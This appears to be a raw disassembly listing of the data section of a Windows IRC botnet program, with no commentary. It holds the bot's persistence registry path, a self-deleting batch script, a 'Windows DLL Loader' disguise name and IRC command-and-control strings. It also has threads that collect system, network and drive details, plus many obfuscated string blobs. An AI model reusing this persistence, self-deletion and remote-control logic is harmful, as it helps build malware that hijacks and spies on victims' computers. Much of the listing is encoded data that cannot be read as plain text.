; DATA XREF: sub_4049B5+156r ; sub_4049B5+167r ... dd offset dword_412D64 dd offset dword_412D74 dd offset dword_412D54 dd offset dword_412D30 dd offset dword_412D20 dd offset dword_412D00 dd offset dword_412CEC dd offset dword_412D00 dd offset dword_412CD8 dd offset dword_412CC0 dd offset dword_412CB0 dd offset dword_412C9C dd offset dword_412C88 dd offset dword_412C68 dd offset dword_412C54 dd offset dword_412C38 dd offset dword_412C28 dd offset dword_412C38 dd offset dword_412C18 dd offset dword_412BF0 dd offset loc_412BDC dd offset dword_412BBC dd 2 dup(0) dword_412BBC dd 0C08AADDBh, 0C7808FC7h, 0F7BEACD0h, 0ECC7E582h, 0F7C9B0F3h ; DATA XREF: .data:00412BB0o dd 0CE838CD0h, 85E9D6h, 0 ; --------------------------------------------------------------------------- loc_412BDC: ; DATA XREF: .data:00412BACo jmp dword ptr [ecx-6C3B3D6Fh] ; --------------------------------------------------------------------------- dw 0C49Dh dd 0FC8FE98Ah, 2 dup(0) dword_412BF0 dd 0DE99B4D7h, 0D58E9FC1h, 0B999E3CDh, 0E7CCE1BAh, 0D3AEE4E4h ; DATA XREF: .data:00412BA8o dd 0C09899DCh, 0FCA4ACDDh, 0E1DCF684h, 0F3h, 0 dword_412C18 dd 0C18EA8F7h, 0C4979986h, 2 dup(0) ; DATA XREF: .data:00412BA4o dword_412C28 dd 0DD86B4E5h, 8F998FE1h, 92F4C1h, 0 ; DATA XREF: .data:00412B9Co dword_412C38 dd 0DD86B4C5h, 819D99C4h, 0CA95F9F7h, 0E7C1F38Fh, 0C2A8E4FBh ; DATA XREF: .data:00412B98o ; .data:00412BA0o dd 0D8h, 0 dword_412C54 dd 0DD86B4E5h, 0C2998FC4h, 0FC8FE98Ah, 2 dup(0) ; DATA XREF: .data:00412B94o dword_412C68 dd 0D687ADC1h, 819C8BC7h, 0EE83E9EAh, 0A2DEF299h, 0D79BADD0h ; DATA XREF: .data:00412B90o dd 0CD839DDFh, 2 dup(0) dword_412C88 dd 0D79BADF0h, 0CD839DDFh, 0FC8FE98Ah, 2 dup(0) ; DATA XREF: .data:00412B8Co dword_412C9C dd 0D387ADC1h, 0E0CF8CC5h, 0ED99E9C3h, 2 dup(0) ; DATA XREF: .data:00412B88o dword_412CB0 dd 0D387ADE1h, 0C4C18CC5h, 0E9DCh, 0 ; DATA XREF: .data:00412B84o dword_412CC0 dd 0D687ADC1h, 819C8BC7h, 0F587F4E1h, 0F0D0F299h, 2 dup(0) ; DATA XREF: .data:00412B80o dword_412CD8 dd 0DE99BCF3h, 0D38A8EC7h, 0FC8FE98Ah, 2 dup(0) ; DATA XREF: .data:00412B7Co dword_412CEC dd 0FB87ADE1h, 0CF809BC7h, 0FC8FE98Ah, 2 dup(0) ; DATA XREF: .data:00412B74o dword_412D00 dd 0D687ADC1h, 819C8BC7h, 0F690E3E8h, 0F2F4A098h, 0D180A8E6h ; DATA XREF: .data:00412B70o ; .data:00412B78o dd 0CE8688C9h, 0CAh, 0 dword_412D20 dd 0DD8EABFAh, 0D98AD2C6h, 0C1h, 0 ; DATA XREF: .data:00412B6Co dword_412D30 dd 0D780A8D5h, 0F2CF88C6h, 0FC81FEC1h, 0F7E7A084h, 0DF80B0F8h ; DATA XREF: .data:00412B68o dd 0D3BFDCCDh, 0EA92EFCBh, 85h, 0 dword_412D54 dd 0C19BB7F5h, 0C4979986h, 2 dup(0) ; DATA XREF: .data:00412B64o dword_412D64 dd 0C188B7DFh, 0D98AD2DBh, 0C1h, 0 ; DATA XREF: .data:00412B5Co dword_412D74 dd 0D38AABDAh, 0C4BCDCC4h, 0F085F9C7h, 0C395F982h, 0DD81B0E3h ; DATA XREF: .data:off_412B58o ; .data:00412B60o dd 0D89B95DAh, 0EB92DF84h, 0E7D6E980h, 2 dup(0) dword_412D9C dd 0D39AB7FAh, 0D98AD2DBh, 0C1h, 0 ; DATA XREF: .data:off_412B54o dword_412DAC dd 293Ah ; DATA XREF: sub_4045E4+8Bo dword_412DB0 dd 5Ch ; DATA XREF: sub_4045E4+22o ; sub_404691+21o ... dword_412DB4 dd 7078655Ch, 65726F6Ch, 78652E72h, 65h ; DATA XREF: sub_404715+24o aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_4047C0+1Ao align 4 a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_4048CF+99o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 10h a_bat db '.bat',0 ; DATA XREF: sub_4048CF+42o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_4049B5+132o ; sub_404BC3+AAo align 4 aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_404BC3+D3o ; sub_404BC3+151o align 4 dword_412E84 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: sub_404D33+DDo dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h dword_412EB8 dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_404D33+C2o dword_412EC4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_404F90+68o dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_412EF8 dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4050D1+85o dd 34300320h, 3732502h, 2 dword_412F18 dd 20h ; DATA XREF: sub_4051D2+39o ; sub_4051D2+6Fo ... dword_412F1C dd 30h ; DATA XREF: sub_4054C3+85o ; sub_40849F+D6o ... ; --------------------------------------------------------------------------- loc_412F20: ; DATA XREF: sub_405580+DBo ; sub_405670+AEo and eax, 73252E73h db 2Eh and eax, 73252E73h loc_412F2B: ; DATA XREF: sub_405C57+5o add bl, bh mov bh, 87h pushf retf ; --------------------------------------------------------------------------- db 93h, 82h, 0 align 8 dword_412F38 dd 9C9EB3E1h, 0D39D99DCh, 0F694A2C5h, 0F0D7AE9Bh, 2 dup(0) ; DATA XREF: sub_405C57+11o dword_412F50 dd 9C87B7FBh, 99CCh, 0 ; DATA XREF: sub_405C57+1Fo dword_412F5C dd 0DF9CA5F2h, 0D58A9286h, 2 dup(0) ; DATA XREF: sub_405C57+2Do dword_412F6C dd 0D586ABF1h, 0C0C199C4h, 0C1h, 0 ; DATA XREF: sub_405C57+3Bo dword_412F7C dd 0D787ADF8h, 8F818FC5h, 0B79AE3C7h, 0F597h, 0 ; DATA XREF: sub_405C57+4Bo off_412F90 dd offset dword_4130B4 ; DATA XREF: sub_405CC8+Er ; sub_405CC8+18o ... off_412F94 dd offset dword_413080 ; DATA XREF: sub_405CC8+5Br dd offset dword_413064 dd offset dword_413020 dd offset dword_413008 dd offset dword_412FB0 align 10h dword_412FB0 dd 0DC9EABF2h, 0C58E93C4h, 0F496EB8Ah, 0FB9BF393h, 0DD86ACF7h ; DATA XREF: .data:00412FA4o dd 0CC809F86h, 0F496EB8Bh, 0E69AF393h, 0DE87B3F9h, 8E8B9DC7h dd 0F790E5D7h, 0F29AE493h, 0D38AB4F9h, 0C096D3D8h, 0C698E3CCh dd 0E7DFE594h, 0D785A1E1h, 0D5B0CECCh, 0A8DABDC9h, 0E7CDE5D8h dd 2 dup(0) dword_413008 dd 0D5C7B7E3h, 0D28A91C9h, 0F08EA295h, 0E19BE79Bh, 0A9F9h ; DATA XREF: .data:00412FA0o dd 0 dword_413020 dd 0DC9EABF2h, 0C58E93C4h, 0A8D8BF8Bh, 0B19AE6D9h, 83DDA2A7h ; DATA XREF: .data:00412F9Co dd 8CD8CE9Ch, 0FCC3BC9Ch, 0E48DB4DBh, 0D1D1E9AFh, 94C2C499h dd 0A093BDC5h, 0BA80E2C5h, 9D8CF7A3h, 0D28E8FC5h, 0B794E2DDh dd 0D0F893h, 0 dword_413064 dd 0DC9EABF2h, 0C58E93C4h, 0FA9EE18Ah, 0EDC6EF84h, 0D1C7B0F0h ; DATA XREF: .data:00412F98o dd 91C7h, 0 dword_413080 dd 0D39DA5F2h, 8E819987h, 0B690E5C6h, 0F0C7F595h, 9D9DAAF3h ; DATA XREF: .data:off_412F94o dd 0C68093EFh, 0F6A3E9C8h, 0E3D7EC99h, 0C1878DE4h, 0CD839DDCh dd 0FCD9FEC1h, 0E58Eh, 0 dword_4130B4 dd 0DE86ABE2h, 8F9D9DCAh, 0FE98E3C3h, 0E19BE59Ah, 0A9F9h ; DATA XREF: .data:off_412F90o dd 0 off_4130CC dd offset byte_415355 ; DATA XREF: sub_40587E+29o dword_4130D0 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: sub_4058D7+29Ao dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4131C0 dd 73h ; DATA XREF: sub_4058D7+239o ; sub_405E4E+16Eo ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_4058D7+1FBo aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_4058D7+1D1o align 4 aNo db 'No',0 ; DATA XREF: sub_4058D7+19Ao ; sub_405E4E+11Do ... align 4 aYes db 'Yes',0 ; DATA XREF: sub_4058D7+191o ; sub_405E4E+118o ... a2003 db '2003',0 ; DATA XREF: sub_4058D7+16Ao ; .data:00415890o align 4 aXp db 'XP',0 ; DATA XREF: sub_4058D7+15Ao align 4 a2000 db '2000',0 ; DATA XREF: sub_4058D7+14Ao ; .data:00415884o align 4 aMe db 'ME',0 ; DATA XREF: sub_4058D7+131o align 4 a98 db '98',0 ; DATA XREF: sub_4058D7+121o align 4 aNt db 'NT',0 ; DATA XREF: sub_4058D7+111o align 10h a95 db '95',0 ; DATA XREF: sub_4058D7+103o align 4 aNoSp db 'no SP',0 ; DATA XREF: sub_4058D7+E8o align 4 a?: ; DATA XREF: sub_4058D7+E3o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_405BB3+21o align 10h dword_413250 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: sub_405E4E+1C8o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: sub_405E4E+15Bo align 4 aAvarage db 'Avarage',0 ; DATA XREF: sub_405E4E+14Fo aBad db 'Bad',0 ; DATA XREF: sub_405E4E+148o aLan db 'LAN',0 ; DATA XREF: sub_405E4E:loc_405F51o aModem db 'Modem',0 ; DATA XREF: sub_405E4E+FCo align 4 aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_405E4E+AEo aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_40605E+21o align 4 dword_413364 dd 5C3A41h ; DATA XREF: sub_406096+6r ; sub_406110+60r ... dword_413368 dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: sub_406110+1A2o dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4133A0 dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: sub_406110+15Ao dword_4133B0 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: sub_406110+13Bo dd 20424D02h, 65657266h, 0 aUnknown db 'unknown',0 ; DATA XREF: sub_406110+FAo ; sub_40DA07+36o aRamdisk db 'ramdisk',0 ; DATA XREF: sub_406110+F3o aCdRom db 'cd-rom',0 ; DATA XREF: sub_406110+E9o align 4 aRemote db 'remote',0 ; DATA XREF: sub_406110+DDo align 10h aFixed db 'fixed',0 ; DATA XREF: sub_406110+D1o align 4 a_ db '. ',0 ; DATA XREF: sub_406110+BDo ; sub_406110+184o align 4 aRemovable db 'removable',0 ; DATA XREF: sub_406110+88o align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_406110+2Bo align 10h aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4062EC+21o align 4 aThread db 'thread',0 ; DATA XREF: sub_4064A0+76o ; sub_406596+7Bo align 4 aBtg db 'btg',0 ; DATA XREF: sub_4064A0+71o dword_413440 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4064A0+54o aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS db '*%s*',0 ; DATA XREF: sub_40678D+60o ; sub_406868+86o align 4 dword_413488 dd 3430032Dh, 2037802h ; DATA XREF: sub_406993+DAo aNoThreadsRunni db '- No threads running.',0 align 4 dword_4134A8 dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_406993+9Co dword_4134B8 dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: sub_406993+40o dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_406B1B+14o align 4 dword_41350C dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_406BE0+260o dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_413538 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: sub_406BE0+203o dd 30033A72h, 64250234h, 203h dword_413560 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_406BE0+1DCo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_406BE0:loc_406D4Ao align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_406BE0+6Do aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_406BE0+5Bo align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_406BE0+53o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_406BE0+35o align 4 unk_4135E4 db 55h ; U ; DATA XREF: sub_406E50+Do db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_413628 dd 202h ; DATA XREF: sub_406F40+F8o dword_41362C dd 0A0D7325h, 0 ; DATA XREF: sub_406F40+5Fo dword_413634 dd 3334h ; DATA XREF: sub_406F40+3Ao dword_413638 dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_406F40+28o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_413664 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: sub_40708B+45o dd 2E020373h, 0 dword_413680 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_4070F0+7Fo dd 30032072h, 73250234h, 203h dword_4136A0 dd 0DB86ACE1h, 0D38ED2DBh, 0F7D9E2CDh, 0F493h, 0 ; DATA XREF: sub_4070F0+4Do aAbcdef db 'abcdef',0 ; DATA XREF: sub_407290+9o align 4 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40735A:loc_408384o align 4 dword_4136D4 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_40735A+101Ao dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_4136F8 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_40735A+FD3o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h aUsername db 'username',0 ; DATA XREF: sub_40735A:loc_408206o align 4 aId db 'id',0 ; DATA XREF: sub_40735A+E8Bo align 4 dword_41377C dd 27CE0h ; DATA XREF: sub_40735A+E67r dd 0 dword_413784 dd 4F47DA0h ; DATA XREF: sub_40735A+E5Fr align 10h dword_413790 dd 4EA8h ; DATA XREF: sub_40735A:loc_4081B1r align 8 dword_413798 dd 25575D8h ; DATA XREF: sub_40735A:loc_408198r dd 2 dup(0) a9252 db '9252',0 ; DATA XREF: sub_40735A+E08o align 4 dword_4137AC dd 40ACA2A1h ; DATA XREF: sub_40735A+DFFr dd 3 dup(0) dword_4137BC dd 23013A08h ; DATA XREF: sub_40735A+DF3r dd 2 dup(0) dword_4137C8 dd 22EE0h ; DATA XREF: sub_40735A+DE7r align 10h dword_4137D0 dd 2884BA08h ; DATA XREF: sub_40735A+DDBr dd 2 dup(0) dword_4137DC dd 28718h ; DATA XREF: sub_40735A:loc_408129r dd 0 dword_4137E4 dd 234F9EA0h ; DATA XREF: sub_40735A+DAAr align 10h dword_4137F0 dd 2675EFE0h ; DATA XREF: sub_40735A+D9Er dd 2 dup(0) dword_4137FC dd 26620h ; DATA XREF: sub_40735A:loc_4080ECr dd 0 dword_413804 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_40735A+D88o dd 63h dword_41381C dd 9F2E60h ; DATA XREF: sub_40735A:loc_408028r dd 2 dup(0) dword_413828 dd 2343003h, 2037325h ; DATA XREF: sub_40735A+CC4o aHasNoIpv4End_ db ' has no ipv4 end.',0 align 4 dword_413844 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_40735A+CAEo dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_40735A+C1Eo ; .data:0041588Co align 4 dword_41387C dd 14CFC06Dh ; DATA XREF: sub_40735A:loc_407F45r dd 3 dup(0) dword_41388C dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_40735A+BE1o dd 2037325h, 2Eh dword_4138A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_40735A+BCEo dd 2037325h, 0 dword_4138C4 dd 135DD8h ; DATA XREF: sub_40735A:loc_407EBFr align 10h dword_4138D0 dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_40735A+B31o db 79h, 70h word_4138E6 dw 2065h ; DATA XREF: start+125w start+188r db 3, 30h word_4138EA dw 234h ; DATA XREF: sub_41910B+Er start+12Ew db 25h, 64h dw 203h ; DATA XREF: start+140w db 20h, 61h dw 6464h ; DATA XREF: start+137w db 72h, 65h dword_4138F6 dd 203A7373h ; DATA XREF: start+149w dword_4138FA dd 2343003h ; DATA XREF: start+FCr start+108w ... dw 7325h dd 203h byte_413904 db 3, 30h ; DATA XREF: sub_40735A+B12o dw 234h ; DATA XREF: start+161r dd 2037325h, 49202D20h, 20367650h db 61h, 64h dw 7264h ; DATA XREF: start+14Fr start+15Br dd 3A737365h, 34300320h, 3732502h, 2 dword_413928 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_40735A+AE3o dd 3A737365h, 34300320h, 3732502h, 2 dword_41394C dd 3Ch ; DATA XREF: sub_40735A+AD6o ; sub_40735A+B05o ... dword_413950 dd 11DD8h ; DATA XREF: sub_40735A+A59r align 8 dword_413958 dd 4F4F9EAAh ; DATA XREF: sub_40735A+A4Dr dd 3 dup(0) dword_413968 dd 506A620h ; DATA XREF: sub_40735A:loc_407D9Br dd 2 dup(0) dword_413974 dd 4C28h ; DATA XREF: sub_40735A+A22r dd 0 dword_41397C dd 987988h ; DATA XREF: sub_40735A+A16r dd 2 dup(0) dword_413988 dd 22CA0h ; DATA XREF: sub_40735A:loc_407D64r align 10h dword_413990 dd 0FA869B91h ; DATA XREF: sub_40735A:loc_407D52r align 10h dword_4139A0 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_40735A+9E2o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_4139D0 dd 11F060h ; DATA XREF: sub_40735A:loc_407D24r dd 2 dup(0) dword_4139DC dd 2946A6E0h ; DATA XREF: sub_40735A+975r dd 2 dup(0) dword_4139E8 dd 124A0h ; DATA XREF: sub_40735A+969r align 10h dword_4139F0 dd 123C20h ; DATA XREF: sub_40735A+95Dr dd 2 dup(0) dword_4139FC dd 0C5020h ; DATA XREF: sub_40735A:loc_407CABr dd 2 dup(0) dword_413A08 dd 45444F4Dh, 732520h ; DATA XREF: sub_40735A+947o dword_413A10 dd 5A560h ; DATA XREF: sub_40735A:loc_407C89r dd 2 dup(0) dword_413A1C dd 1547A5B4h ; DATA XREF: sub_40735A:loc_407C70r dd 3 dup(0) aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40735A+8F0o align 10h aOff db 'off',0 ; DATA XREF: sub_40735A+8EAo aOn db 'on',0 ; DATA XREF: sub_40735A+8E3o ; sub_40735A:loc_407C54o align 4 dword_413A48 dd 493350h ; DATA XREF: sub_40735A:loc_407C26r dd 2 dup(0) dword_413A54 dd 27010h ; DATA XREF: sub_40735A:loc_407C0Ar dd 0 dword_413A5C dd 406AD20h ; DATA XREF: sub_40735A:loc_407BDBr dd 2 dup(0) dword_413A68 dd 0E510h ; DATA XREF: sub_40735A:loc_407BACr align 10h dword_413A70 dd 9E72A8h ; DATA XREF: sub_40735A:loc_407B7Br dd 2 dup(0) dword_413A7C dd 54524150h, 732520h ; DATA XREF: sub_40735A+817o dword_413A84 dd 10B6E0h ; DATA XREF: sub_40735A:loc_407B5Dr align 10h dword_413A90 dd 154DE0h ; DATA XREF: sub_40735A:loc_407B38r dd 2 dup(0) dword_413A9C dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40735A:loc_407B29o ; sub_408F9D+44Do dword_413AA8 dd 635E0h ; DATA XREF: sub_40735A:loc_407AEAr dd 2 dup(0) aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40735A+77Ao align 4 dword_413AC8 dd 51BCDA0h ; DATA XREF: sub_40735A:loc_407AC7r dd 2 dup(0) dword_413AD4 dd 569F18h ; DATA XREF: sub_40735A:loc_407AA8r align 10h dword_413AE0 dd 51A520h ; DATA XREF: sub_40735A:loc_407A83r dd 2 dup(0) dword_413AEC dd 87AA0569h ; DATA XREF: sub_40735A:loc_407A67r dd 3 dup(0) dword_413AFC dd 29097EA0h ; DATA XREF: sub_40735A:loc_407A48r ; start+D8r ... db 2 dup(0) dword_413B02 dd 0 ; DATA XREF: start+174r align 4 dword_413B08 dd 124D0165h ; DATA XREF: sub_40735A:loc_407A33r dd 3 dup(0) dword_413B18 dd 48CCA60h ; DATA XREF: sub_40735A:loc_407A17r dd 2 dup(0) dword_413B24 dd 0A3388h ; DATA XREF: sub_40735A:loc_407A02r align 10h dword_413B30 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_40735A+684o dword_413B44 dd 99D3CC20h ; DATA XREF: sub_40735A:loc_4079CAr dd 3 dup(0) dword_413B54 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_40735A+65Ao dd 2037325h, 0 dword_413B70 dd 492620h ; DATA XREF: sub_40735A:loc_40796Fr dd 2 dup(0) aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40735A+60Eo align 10h dword_413B90 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_40735A+5BAo dd 2037325h, 0 dword_413BAC dd 26620h ; DATA XREF: sub_40735A:loc_4078C2r dd 0 dword_413BB4 dd 501F0E1h ; DATA XREF: sub_40735A:loc_407897r dd 3 dup(0) dword_413BC4 dd 2C1B10D5h ; DATA XREF: sub_40735A:loc_40784Br dd 4 dup(0) dword_413BD8 dd 239059D9h ; DATA XREF: sub_40735A+4D8r dd 3 dup(0) dword_413BE8 dd 13F0E0h ; DATA XREF: sub_40735A+4CCr dd 2 dup(0) dword_413BF4 dd 13EA70E0h ; DATA XREF: sub_40735A+4C0r align 10h dword_413C00 dd 4D270E0h ; DATA XREF: sub_40735A:loc_40780Er dd 2 dup(0) dword_413C0C dd 24720A20h ; DATA XREF: sub_40735A:loc_4077EFr dd 2 dup(0) dword_413C18 dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_40735A+48Bo dword_413C28 dd 4BE8h ; DATA XREF: sub_40735A:loc_4077D8r align 10h dword_413C30 dd 124BFDD8h ; DATA XREF: sub_40735A:loc_4077BFr dd 2 dup(0) dword_413C3C dd 24343260h ; DATA XREF: sub_40735A:loc_4077B4r dd 2 dup(0) dword_413C48 dd 242C3388h ; DATA XREF: sub_40735A:loc_407793r dd 2 dup(0) dword_413C54 dd 379D822Ah ; DATA XREF: sub_40735A:loc_40777Br dd 3 dup(0) dword_413C64 dd 379DCF5Ah ; DATA XREF: sub_40735A:loc_407748r dd 3 dup(0) dword_413C74 dd 390F2B3Eh ; DATA XREF: sub_40735A:loc_407726r dd 3 dup(0) dword_413C84 dd 1B7DFEA1h ; DATA XREF: sub_40735A:loc_407704r dd 3 dup(0) dword_413C94 dd 140860h ; DATA XREF: sub_40735A:loc_4076E2r align 10h dword_413CA0 dd 7A1168A0h ; DATA XREF: sub_40735A+369r align 10h dword_413CB0 dd 0E88DCA0h ; DATA XREF: sub_40735A+35Dr dd 2 dup(0) dword_413CBC dd 74358h ; DATA XREF: sub_40735A:loc_4076ABr dd 2 dup(0) dword_413CC8 dd 1234A0h ; DATA XREF: sub_40735A:loc_407687r dd 2 dup(0) dword_413CD4 dd 1CEC4829h ; DATA XREF: sub_40735A:loc_40766Er dd 3 dup(0) dword_413CE4 dd 0A9EB0560h ; DATA XREF: sub_40735A:loc_40761Er dd 3 dup(0) dword_413CF4 dd 1B7A7CA1h ; DATA XREF: sub_40735A:loc_407605r dd 3 dup(0) dword_413D04 dd 1B73B389h ; DATA XREF: sub_40735A:loc_4075E9r dd 3 dup(0) dword_413D14 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_40735A+285o dd 3203A64h, 25023430h, 20373h dword_413D34 dd 124A4320h ; DATA XREF: sub_40735A:loc_40754Br align 10h dword_413D40 dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_40735A+1E7o dd 3D203A64h, 2343003h, 2037325h, 0 dword_413D64 dd 232320h ; DATA XREF: sub_40735A+168o dword_413D68 dd 25EA4320h ; DATA XREF: sub_40735A:loc_407477r dd 2 dup(0) dword_413D74 dd 954E18h ; DATA XREF: sub_40735A:loc_407458r align 10h dword_413D80 dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_40735A+F4o dd 2037325h, 0 dword_413D9C dd 2C3ADA0h ; DATA XREF: sub_40735A:loc_40741Er dd 2 dup(0) dword_413DA8 dd 4B43494Eh, 732520h ; DATA XREF: sub_40735A:loc_407403o ; sub_4088FC+F0o ... dword_413DB0 dd 11A8A8h ; DATA XREF: sub_40735A:loc_4073D0r dd 2 dup(0) dword_413DBC dd 35721361h ; DATA XREF: sub_40735A+57r dd 3 dup(0) aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_408406+53o ; sub_408F9D+631o align 4 asc_413DEC: ; DATA XREF: sub_408406+29o unicode 0, <;>,0 asc_413DF0 db '<=',0 ; DATA XREF: sub_40849F+2F2o align 4 asc_413DF4 db '>=',0 ; DATA XREF: sub_40849F+2C2o align 4 asc_413DF8: ; DATA XREF: sub_40849F+2AAo dw 3Eh unicode 0, <>,0 asc_413DFC db '!=',0 ; DATA XREF: sub_40849F+28Eo align 10h asc_413E00 db '==',0 ; DATA XREF: sub_40849F+272o align 4 aIpv6 db '$ipv6',0 ; DATA XREF: sub_40849F+181o ; sub_40849F+253o align 4 aFirewall db '$firewall',0 